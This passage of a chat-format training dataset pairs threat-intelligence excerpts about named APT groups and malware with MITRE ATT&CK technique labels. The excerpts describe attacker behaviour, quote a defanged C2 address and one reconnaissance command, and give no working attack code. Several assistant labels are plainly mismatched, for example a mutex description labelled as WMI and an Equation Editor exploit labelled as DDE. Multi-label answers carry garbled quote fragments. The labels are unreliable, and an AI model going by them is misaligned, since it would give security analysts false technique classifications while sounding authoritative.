                "content": "Talos has uncovered documents that we assess with moderate confidence are associated with suspected persistent threat actor MuddyWater. MuddyWater has been active since at least November 2017 and has been known to primarily target entities in the Middle East. We assess with moderate confidence that these documents were sent to victims via phishing emails. One such trojanized document was created on April 23, 2019. The \"Blackwater.bas\" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer. Screenshot of the stager found in the document The stager then reached out to the actor-controlled C2 server located at hxxp://38[.]132[.]99[.]167/crf.txt. The clear text version of the crf.txt file closely resembled the PowerShell agent that was previously used by the MuddyWater actors when they targeted Kurdish political groups and organizations in Turkey. rCecms=BlackWater\". Notably, the trojanized document's macro was also called \"BlackWater,\" and the value \"BlackWater\" was hard coded into the PowerShell script"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used fake job advertisements sent via LinkedIn to spearphish targets."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Prikormka contains a keylogger module that collects keystrokes and the titles of foreground windows."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avaddon has used encrypted strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The TajMahal framework is an intriguing discovery that’s of great interest, not least for its high level of technical sophistication, which is beyond any doubt. For example, it has its own indexer, emergency C2s, is capable of stealing specific files from external drives when they become available again, etc"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery', 'T1119 - Automated Collection', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors accessed and collected credentials from password managers."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When G-Data published on Turla/Uroburos back in February, several questions remained unanswered. One big unknown was the infection vector for Turla (aka Snake or Uroburos). Our analysis indicates that victims are infected via a sophisticated multi-stage attack, which begins with the Epic Turla. In time, as the attackers gain confidence, this is upgraded to more sophisticated backdoors, such as the Carbon/Cobra system. Sometimes, both backdoors are run in tandem, and used to “rescue” each other if communications are lost with one of the backdoors"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery', 'T1057 - Process Discovery', 'T1049 - System Network Connections Discovery', 'T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, the loader spawns cmd.exe to perform a series of reconnaissance commands to obtain information about the network and domain"
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We’ve identified two such files: settings.db sdfg3d.db Here’s how such a database file appears:  These are BASE64 encoded and use the same RC4 encryption key as the malware configuration"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has collected a list of files from the victim and uploaded it to its C2 server, and then created a new list of specific files to steal."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, the loader checks that it’s not running in a virtualized environment (VMWare or Hyper-V) or under a debugger. For the hardware virtualization check, the loader obtains the hardware device list and checks if the MD5 of the vendor ID is equal to a predefined list"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "<encoded system data>.<same random number between 100000 and 999999 above>.<c2 name>   After obtaining a session ID and pre-shared key, the PowerShell script will continue to communicate with its C2 server to obtain data to treat as a command"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection', 'T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CozyCar's main method of communicating with its C2 servers is using HTTP or HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pandora can start and inject code into a new `svchost` process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stealth Falcon malware uses PowerShell commands to perform various functions, including gathering system information via WMI and executing commands from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some versions of UPPERCUT have used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2. Later versions have hard-coded keys uniquely for each C2 address."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter had downloaded additional tools to a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZLib mimics the resource version information of legitimate Realtek Semiconductor, Nvidia, or Synaptics modules."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Should a removable drive be discovered, the plugin will seek any files residing on this device based on the plugin’s configured list. In this particular instance, the malware will seek out the following file types"
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silent Librarian has cloned victim organization login pages and staged them for later use in credential harvesting campaigns. Silent Librarian has also made use of a variety of URL shorteners for these staged websites."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HTTPBrowser's installer contains a malicious file named navlu.dll to decrypt and run the RAT. navlu.dll is also the name of a legitimate Symantec DLL."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has lured victims into clicking a malicious link delivered through spearphishing."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze creates a mutex with the name “Global\\x” where x is a special value that is unique per machine. For example, in the next screenshot (some information has been deleted to anonymize the machine used for the analysis) is an example of this behavior"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry searches for variety of user files by file extension before encrypting them using RSA and AES, including Office, PDF, image, audio, video, source code, archive/compression format, and key and certificate files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kerrdown can decode, decrypt, and decompress multiple layers of shellcode."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAWKBALL has used an OLE object that uses Equation Editor to drop the embedded shellcode."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We found four different trojaned binaries in use since July 2019. The 5kplayer, driver pack and Firefox trojanized software use a service to achieve persistence. The VPNpro trojanized application uses an AutoRun registry key, as mentioned in the publication released before July 2019. After that, it will check if ESET or BitDefender antivirus are installed before dropping the malware"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been known to use credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrongPity has been bundled with legitimate software installation files for disguise."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypted a .dll payload using RTL and a custom encryption algorithm.  has also obfuscated payloads with base64, XOR, and RC4."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Commands under \"net user\" can be used in Net to gather information about and manipulate user accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound malware has communicated with its C2 server over TCP port 4443 using HTTP."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: Dell SecureWorks) Appendix C — OwaAuth web shell analysis OwaAuth is a web shell that is installed as an ISAPI filter on Exchange servers and shares characteristics with the ChinaChopper web shell"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "mimics the resource version information of legitimate Realtek Semiconductor, Nvidia, or Synaptics modules."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CreepyDrive can use legitimate OAuth refresh tokens to authenticate with OneDrive."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has performed timestomping on victim files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LitePower can take system screenshots and save them to `%AppData%`."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tonto Team has used PowerShell to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the credential vault and DPAPI."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RogueRobin decodes an embedded executable using base64 and decompresses it."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to upload information about all running processes to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can deliver trojanized versions of software and documents, relying on user execution."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to encrypt network shares, BitPaymer will attempt to enumerate the sessions for each user logged onto the infected host and create a new process, using the token of each user. For each host, BitPaymer spawns another net.exe process with command net view &lt;host&gt; using the newly discovered host as a parameter. This will return a list of network shares available to the impersonated user on the host. Once a list of all available shares has been gathered, BitPaymer attempts to mount them to be encrypted"
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors discovered removable disks attached to a system."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PyDCrypt has used `cmd.exe` for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The BazarLoader DLL was immediately copied to another location and made persistent through the Windows registry"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1112 - Modify Registry', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use known credentials to run commands and spawn processes as a local user account."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan has run `C:\\Windows\\system32\\cmd.exe /c cmd /c dir c:\\users\\ /s 2>&1` to discover local accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to gather system information from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET saves a screen capture of the victim's system with a numbered filename and \".jpg\" extension. Screen captures are taken at specified intervals based on the system."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower can exfiltrate gathered data to a hardcoded C2 URL via HTTP POST."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script variant of the Helminth Trojan consists of a VBScript and PowerShell script named update.vbs and dns.ps1. We aptly named this variant the script version, as we found another version of this Trojan that we will discuss later in this Appendix"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before being appended to image files,  commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "enumerates the current network connections similar to  net use ."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used dedicated network connections from one victim organization to gain unauthorized access to a separate organization."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use HTTP or HTTPS for command and control to hard-coded C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In particular, the threat actors have exploited CVE-2011-3544, a vulnerability in the Java Runtime Environment, to deliver the HttpBrowser backdoor; and CVE-2010-0738, a vulnerability in JBoss, to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT12 has used the RIPTIDE RAT, which communicates over HTTP with a payload encrypted with RC4."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used macros in Word documents that would download a second stage if executed."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower can send additional modules over C2 encoded with base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MURKYTOP has the capability to retrieve information about users on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Prior to 2014, IRON LIBERTY used custom malware, primarily Sysmain, Havex, and xFrost (now known as Karagany), combined with commodity penetration testing and tools"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Bazar loader is used to download and execute the Bazar backdoor."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After initialization, SUNSPOT monitors running processes for instances of MsBuild.exe, which is part of Microsoft Visual Studio development tools. Copies of MsBuild.exe are identified by hashing the name of each running process and comparing it to the corresponding value, 0x53D525. The hashing algorithm used for the comparison is ElfHash and is provided in Python in Figure 1"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sharpshooter downloaded additional payloads after a target was infected with a first-stage downloader."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A module in Prikormka collects information about the paths, size, and creation time of files with specific file extensions, but not the actual content of the file."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "However, what happened was that the actor resized the Certificate Table in the digitally signed ‘vac.dll’ and inserted their own data in the Certificate Table so it doesn’t affect the digital signature"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has maintained persistence by loading malicious code into a startup folder or by adding a Registry Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Encoded Payload   Decoded Payload     MD5   Size   Import Hash   Exported Function   Version    aa3f303c3319b14b4829fe2faa5999c1  322164  182ee99b4f0803628c30411b1faa9992  l7MF25T96n45qOGWX  5.3.2    126067d634d94c45084cbe1d9873d895  330804  5f45532f947501cf024d84c36e3a19a1  hJvTJcdAU3mNkuvGGq7L  5.4.1    fce54b4886cac5c61eda1e7605483ca3  345812  c1942a0ca397b627019dace26eca78d8  WcuH  5.4.1    Table 2: Static characteristics of UPPERCUT Another new feature in the latest UPPERCUT sample is that the malware sends an error code in the Cookie header if it fails to receive the HTTP response from the command and control (C2) server"
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
